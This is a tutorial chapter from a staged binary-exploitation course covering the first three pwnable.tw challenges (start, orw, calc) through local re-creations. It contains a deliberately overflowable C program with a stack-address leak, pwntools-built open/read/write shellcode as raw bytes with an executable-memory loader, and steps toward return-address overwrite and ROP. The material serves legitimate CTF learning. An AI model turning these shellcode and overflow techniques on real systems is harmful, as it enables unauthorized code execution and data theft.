Step 213. Three Easy pwnable.tw Challenges — Into a World Without Source
Level 3 — Real-World CTF & Advanced Attack Skills | Difficulty ★★★★★ | Estimated time: 12 hours (spread over several days recommended)
Prerequisites: Step 209 (finishing pwnable.kr), Step 210 (GOT/PLT), Step 203 (writing shellcode). objdump and gdb disassembly.
⚠️ All exercises in this chapter are for your own lab and legal platforms only. Applying them to unauthorized systems is a crime. pwnable.tw is a legal learning platform built to be solved.
- What you need: WSL Ubuntu (gcc, gdb, objdump), Python + pwntools. The measured environment is Ubuntu 24.04, gcc 13.3.0, gdb 15.1, pwntools 4.15.0.
- Caution: we do not connect to the pwnable.tw server from this environment. Server scenes are "Screen example," and the two core techniques of the three challenges (analyzing symbol-less binaries, orw shellcode) are measured via local re-creations.
If you’ve graduated from pwnable.kr’s Toddler’s Bottle, the next gate is pwnable.tw. It looks like a similar wargame, but one thing is decisively different — many challenges give you no source. This is the point where the "read the source → work backward" routine becomes "analyze the binary → hypothesize → verify." Today you learn the thinking behind the first three challenges (start, orw, calc) and measure the two core techniques yourself, locally.
1. Learning Objectives
By the end of this chapter, you will be able to:
- Explain the difficulty and structure differences between pwnable.kr and pwnable.tw
- Follow the first procedure for analyzing a stripped binary (no symbols) with objdump/gdb
- Reproduce the backbone of start — a stack-address leak and shellcode-address calculation
- Reproduce the backbone of orw — seccomp constraints and open/read/write shellcode, executed locally
- Set up an approach strategy for a parser bug like calc
2. Background Knowledge — Today’s Tools and Concepts
Today’s Tools at a Glance
| Category | Details |
|---|---|
| Language/environment | C + reading assembly + Python/pwntools (measured: Ubuntu 24.04, gcc 13.3.0, gdb 15.1) |
| Today’s commands | file, objdump -d, gdb disas, shellcraft.amd64.linux.cat(...), asm(...), an mmap shellcode loader |
| Concepts needed | strip and symbols, stack-address leak, seccomp (syscall filter), orw shellcode, parser bugs |
| Today’s deliverables | A stripped-binary analysis log + a local orw shellcode execution log + three challenge strategy cards |
2-1. Differences from pwnable.kr — What Gets Harder
| pwnable.kr (Toddler’s Bottle) | pwnable.tw (early challenges) | |
|---|---|---|
| Source | Mostly provided | Mostly not provided |
| Bit width | Mostly 32-bit | Mostly 64-bit |
| Protections | Loose (for practice) | NX by default, more depending on the challenge |
| Required skills | Working conditions backward | Binary analysis + leak + shellcode/ROP |
The core change is one — the target of analysis shifts from source text to machine code. Fortunately you already have the tools. Step 177’s gdb disassemble and Step 210’s objdump become your main weapons starting today.
2-2. strip — A Binary with Its Name Tags Removed
A compiled binary originally carries function names (symbols). strip tears those name tags off — names like main disappear. That’s the default state of commercial programs and pwnable.tw challenges. Even without names, the machine code is intact, so you reverse-trace the structure from the disassembly and the call flow (who calls whom). You’ll experience it yourself in 3-1.
2-3. seccomp — Only Permitted Syscalls Get Through
Why orw’s title (open-read-write) is itself a hint: the server binary has seccomp (secure computing mode — a system-call filter) attached, and execve is blocked. That means the /bin/sh shellcode (Step 203) is useless. Instead you must read the flag directly with three syscalls — open a file (open), read it (read), and print it (write). If the firewall blocks the front door, you go in through three windows.
2-4. leak — A Program That Bleeds Addresses
In the ASLR era, attacks fail for lack of addresses. So a program carelessly printing an address (a leak) is the attack’s first button. start prints a stack address — computing "the address where my shellcode sits" from that address plus an offset is the challenge’s backbone. The head-on fight with the ASLR you turned off with setarch -R in Step 210 begins now.
3. Follow Along
3-1. Re-creating start — A Nameless Binary and a Stack Leak
Build a program that simulates start’s backbone, then strip it — and experience "nameless binary analysis" exactly as it is.
Input (mini_start.c)
#include <stdio.h>
#include <unistd.h>
int main(void) {
char buf[20];
printf("stack hint: %pn", buf); /* leak a stack address, like the start challenge */
fflush(stdout);
read(0, buf, 100); /* overlong — overflow */
return 0;
}
cd ~/lab209_213
gcc -fno-stack-protector -no-pie -o mini_start mini_start.c
strip mini_start
file mini_start
mini_start.c:7:5: warning: 'read' writing 100 bytes into a region of size 20 overflows the destination [-Wstringop-overflow=]
mini_start: ELF 64-bit LSB executable, x86-64, ..., stripped
(Measured 2026-09-09. The compiler already warns about the overflow, and the stripped at the end of the file result means "no name tags.")
Analysis — finding your way in a nameless world:
objdump -d mini_start | grep -E "call|lea" | head -8
401014: ff d0 call *%rax
4010af: ff 15 23 2f 00 00 call *0x2f23(%rip) # 403fd8 <fflush@plt+0x2f58>
401151: e8 7a ff ff ff call 4010d0 <fflush@plt+0x50>
401182: 48 8d 45 e0 lea -0x20(%rbp),%rax
401189: 48 8d 05 74 0e 00 00 lea 0xe74(%rip),%rax # 402004 <fflush@plt+0xf84>
401198: e8 c3 fe ff ff call 401060 <printf@plt>
4011a7: e8 d4 fe ff ff call 401080 <fflush@plt>
4011ac: 48 8d 45 e0 lea -0x20(%rbp),%rax
(Measured 2026-09-09.)
How to read the output: the name main is gone, but clues remain.
call printf@plt,call fflush@plt— library calls keep their names (the PLT is dynamic linking, so its symbols survive — thanks to Step 210’s structure).- The
lea -0x20(%rbp),%raxright above those calls — the buffer address handed to printf and read. rbp-0x20, a 32-byte slot. - From these two clues you reverse-trace: "this is a main that passes a stack address to printf and takes 100 bytes with read." No name tags, but the behavior reads clear.
Confirming the leak — a stack address spills out:
printf "AAAAAAAAAAAAn" | ./mini_start
stack hint: 0x7fffe697eb20
(Measured 2026-09-09. The address differs every run — ASLR is left on.)
How to read it: the program itself tells you the buffer’s stack address (0x7fff... — the characteristically high addresses of the stack region). The real start exploit takes this and flows "overwrite the return address with (leaked address + offset), and plant shellcode at that spot." Today’s goal is the leak and the offset-calculation sense — the full chain is assembled in Step 214.
3-2. Re-creating orw — Reading a Flag Without execve
orw’s core technique — shellcode made only of open/read (sendfile here)/write — generated with pwntools and executed locally.
cd ~/lab209_213
echo "FLAG{0rw_sh3llc0de_l0c4l}" > flag.txt
Generating the shellcode (pwntools)
from pwn import *
context.arch = "amd64"
sc = shellcraft.amd64.linux.cat("flag.txt") + shellcraft.amd64.linux.exit(0)
print(sc)
code = asm(sc)
print("length:", len(code), "bytes")
/* push b'flag.txtx00' */
push 1
dec byte ptr [rsp]
mov rax, 0x7478742e67616c66
push rax
/* call open('rsp', 'O_RDONLY', 'rdx') */
push SYS_open /* 2 */
pop rax
...
/* call sendfile(1, 'rax', 0, 0x7fffffff) */
...
syscall
length: 51 bytes
(Measured 2026-09-09, pwntools 4.15.0.)
How to read it: shellcraft produces the assembly, asm the 51 machine-code bytes. The only syscalls visible are open(2) and sendfile(0x28) — execve(59) is nowhere. That’s why it works under seccomp (sendfile is a syscall that "copies directly from a file to an fd," doing read+write in one shot).
Local execution — the mmap loader:
Input (sc_run.c)
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
/* pwntools: shellcraft.amd64.linux.cat("flag.txt") + exit(0), 51 bytes from asm() */
unsigned char sc[] =
"x6ax01xfex0cx24x48xb8x66x6cx61x67x2ex74x78"
"x74x50x6ax02x58x48x89xe7x31xf6x0fx05x41xba"
"xffxffxffx7fx48x89xc6x6ax28x58x6ax01x5fx99"
"x0fx05x31xffx6ax3cx58x0fx05";
int main(void) {
void *p = mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
memcpy(p, sc, sizeof(sc) - 1);
printf("executing shellcode, %zu bytes:n", sizeof(sc) - 1);
fflush(stdout);
((void (*)(void))p)();
return 0;
}
gcc -o sc_run sc_run.c
./sc_run
executing shellcode, 51 bytes:
FLAG{0rw_sh3llc0de_l0c4l}
(Measured 2026-09-09.)
How to read it: we borrowed executable (RWX) memory with mmap, moved the shellcode there, and called it like a function. 51 bytes of machine code opened flag.txt, printed its contents, and exited cleanly — orw’s essence of reading a file without a shell, exactly. In the real orw challenge, the remaining half is sending these bytes as the server’s read input and making the server jump into our shellcode.
Screen example — checking seccomp on the real orw server
$ seccomp-tools dump ./orw line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch ... 0007: 0x06 0x00 0x01 0x7fff0000 return ALLOW (the allowlist has open, read, write — and no execve)seccomp-tools isn’t installed in this environment, so this wasn’t measured — on server challenges, check "what is allowed" first with this tool.
3-3. calc — How to Think About a Parser Bug (Strategy Card)
calc is a "calculator" program given without source. The backbone of the analysis (based on the published challenge structure):
- The expression-parsing process has an array-index error, so computation results get written to wrong positions on the stack
- One of those positions holds the saved return address → computations that "write" integers can lay down a ROP chain
The approach order is the same — ① find the parsing loop with objdump -d ② feed arbitrary input in gdb and watch which stack positions get contaminated ③ check whether the contaminated position overlaps the return address. Not a new technique — a combination of 3-1’s "nameless analysis" and Step 209’s "measuring offsets."
3-4. Strategy Cards for the Three Challenges — Summary
[start] Clues: prints a stack address (leak) + overlong input
Path: receive the leak → compute the offset → return address = shellcode address
Skills: symbol-less analysis, stack leak, shellcode
[orw] Clues: execve is blocked (seccomp), a structure that executes your input
Path: send open/read/write (or sendfile) shellcode
Skills: shellcraft, seccomp checking, orw shellcode
[calc] Clues: an index error in the calculator parser
Path: analyze the parsing loop → check stack contamination → ROP
Skills: binary analysis, offset measuring, ROP (assembled in Step 214)
4. Missions & Exercises
Mission — Your Own orw Shellcode
- Find open, read, write, and exit in the
shellcraft.amd64.linuxdocumentation (pydocorhelp(shellcraft.amd64.linux)) - Assemble shellcode that reads flag.txt with open + read + write instead of sendfile (hint:
shellcraft.amd64.linux.open("flag.txt")+read+write+exit) - Replace the bytes in sc_run.c, run it locally, and print the flag
- Compare the byte lengths of the two shellcodes (cat version / your assembled version) in your notes
Exercises
Problem 1. Even in a stripped binary, names like printf@plt remained (3-1 measurement). Why can’t strip remove library function names?
Problem 2. In start, how can you tell that the leaked 0x7fffe697eb20 is a stack address? And why is this leak useful even with ASLR on?
Problem 3. Explain why Step 203’s /bin/sh shellcode is useless in orw, and the principle by which sendfile can replace read+write.
Problem 4. Write the first three analysis steps, in order, for a "parser bug" challenge like calc.
5. Model Answers & Completion Criteria
Mission Model Answer
from pwn import *
context.arch = "amd64"
sc = shellcraft.amd64.linux.open("flag.txt", 0)
sc += shellcraft.amd64.linux.read("rax", "rsp", 0x100)
sc += shellcraft.amd64.linux.write(1, "rsp", "rax")
sc += shellcraft.amd64.linux.exit(0)
code = asm(sc)
print(len(code)) # longer than the cat version (51) — three syscalls, so normal
The key connection is passing the byte count read returned (rax) as write‘s length. Replace sc[] in sc_run.c with the new bytes and run — the same flag prints. How to verify: ① did the flag print, ② does the assembly contain no execve, only open/read/write, ③ is the length comparison in your notes.
Exercise Answers
Problem 1 answer. Because library calls go through the PLT (Step 210), and PLT-GOT linkage depends on the dynamic symbol table. strip removes only static symbols (function name tags); removing dynamic symbols would make the program unable to run, so they stay. That’s why "calls going to the PLT" are the first clue when analyzing a stripped binary.
Problem 2 answer. In the Linux x86-64 user space, the stack sits at the high end of the address space (0x7fff...), the heap and libraries sit lower in the 0x7f... range, and a non-PIE binary sits at 0x40.... The prefix alone tells you the region. It’s useful under ASLR because the leak tells you this run’s actual address — even with a randomized base, knowing that base lets you compute target addresses from offsets.
Problem 3 answer. The /bin/sh shellcode ends with the execve syscall, which the seccomp filter blocks (killing the process or returning an error), so no shell pops. sendfile(out_fd, in_fd, …) is a syscall that copies a file’s contents to another fd (stdout) directly inside the kernel, so user code doesn’t need to loop read→write. Completing a file read using only syscalls on the allowlist — that is orw.
Problem 4 answer. ① Find the input-parsing loop with objdump -d (PLT calls and compare/jump patterns are the clues), ② feed arbitrary input in gdb and watch which stack positions get contaminated by input values, ③ measure the distance (offset) between the contaminated position and the saved return address, and design the value to plant. The order is the same for any binary challenge — analyze, observe, calculate.
Completion Criteria Checklist
- [ ] I can explain the differences between pwnable.kr and pwnable.tw (source availability, bit width, protections)
- [ ] I reverse-traced main’s behavior in a stripped binary using PLT calls as clues
- [ ] I can describe what a stack-address leak looks like (
0x7fff...) and why it’s useful - [ ] I can explain that seccomp is a syscall filter, and that orw is the bypass strategy
- [ ] I built orw shellcode with shellcraft + asm and ran it locally via an mmap loader
- [ ] I wrote up strategy cards for start/orw/calc
- [ ] Mission: I printed the flag with open+read+write assembled shellcode
6. Common Pitfalls & Fixes
Wall 1. I opened a stripped binary and there’s no main
Symptom: disassemble main doesn’t work in gdb.
Cause: the name tags are gone — the normal state.
Fix: two paths — ① find library calls like printf@plt in objdump -d and read around them (3-1’s method), ② trace from the entry point in gdb instead of using break. When there are no names, behavior (what does it call) is the map.
Wall 2. I put shellcode in .data and segfaulted executing it
Symptom: made unsigned char sc[] a global and called it through a function pointer → Segmentation fault (core dumped) (a failure actually experienced while writing this chapter, 2026-09-09).
Cause: a global array lives in the data section, which has no execute permission. Thanks to NX (Step 62), data doesn’t execute.
Fix: take a PROT_EXEC page with mmap and copy the shellcode there, like today’s sc_run.c. Note that this failure is itself the answer to "why must shellcode be planted in an executable region in real work."
Wall 3. I computed from the leaked address but I’m off by one slot
Symptom: you overwrote the return address with the shellcode address and it crashed.
Cause: a 1-byte error in offset calculation, or a wrong assumption about what the leaked address points to (buffer start? somewhere before it?).
Fix: in gdb, print both the buffer address and the saved return address for the same input and measure the distance. Don’t add by guesswork — measure by observation (the same posture as Step 209’s offset calculation).
Wall 4. I don’t know the shellcraft function names
Symptom: you can’t find the shellcraft name for the syscall you want.
Cause: everyone is like this at first.
Fix: in Python, help(shellcraft.amd64.linux) lists them. open, read, write, exit, cat, and more — each returns an assembly string you concatenate with + (the pattern in 3-2 and the mission).
Wall 5. The despair of "no source, so I can’t solve it"
Symptom: pwnable.kr had source; suddenly there’s a wall.
Cause: normal transition pain. Your source-reading habits just haven’t transferred to machine code yet.
Fix: practice with very small stripped binaries like today’s 3-1. Comparing your own code’s disassembly builds a correspondence table of "one line of C = how many lines of assembly" — and that table is your eyesight for binary analysis. It’s slow at first — so don’t try to finish through calc in one day.
7. Summary
Today’s Concepts
| Concept | One-line description |
|---|---|
| strip | A binary with static symbols (name tags) removed — dynamic symbols (PLT) remain |
| Binary analysis | The skill of reverse-tracing a program’s behavior from PLT calls and disassembly |
| leak | A program bleeding an address — the first button of attacks in the ASLR era |
| seccomp | A kernel filter that lets only permitted syscalls through |
| orw shellcode | Shellcode that reads a file via open/read/write (or sendfile) without execve |
| Parser bug | An index error in input-parsing logic — a hole where computation becomes writing |
Today’s Commands
| Command | What it does |
|---|---|
strip ./binary |
Remove symbols — create the practice state |
objdump -d ./binary | grep call |
Find library-call clues |
shellcraft.amd64.linux.cat("file") |
Generate file-reading shellcode (assembly) |
asm(assembly) |
Convert assembly to machine-code bytes |
mmap(..., PROT_READ|PROT_WRITE|PROT_EXEC, ...) |
Obtain executable memory (shellcode loader) |
help(shellcraft.amd64.linux) |
List available shellcraft functions |
The Sense That Matters More Than Commands
What you learn at pwnable.tw’s entrance is the confidence that "a program reads even without source." No name tags, but the call to printf is visible, and a program that prints addresses leaks its own map. Analyze → observe → calculate — this three-beat rhythm is the same with or without source.
And what orw showed — when a road (execve) is blocked, change your destination route to the allowed one (open/read/write) — is the attitude of all Pwn. No defense is perfect, and the combination of the allowlist is itself the attack surface. The full assault on a binary with Canary and NX stacked (Step 214) is, in the end, an extension of this attitude.
Once every box is checked, Step 213 is complete.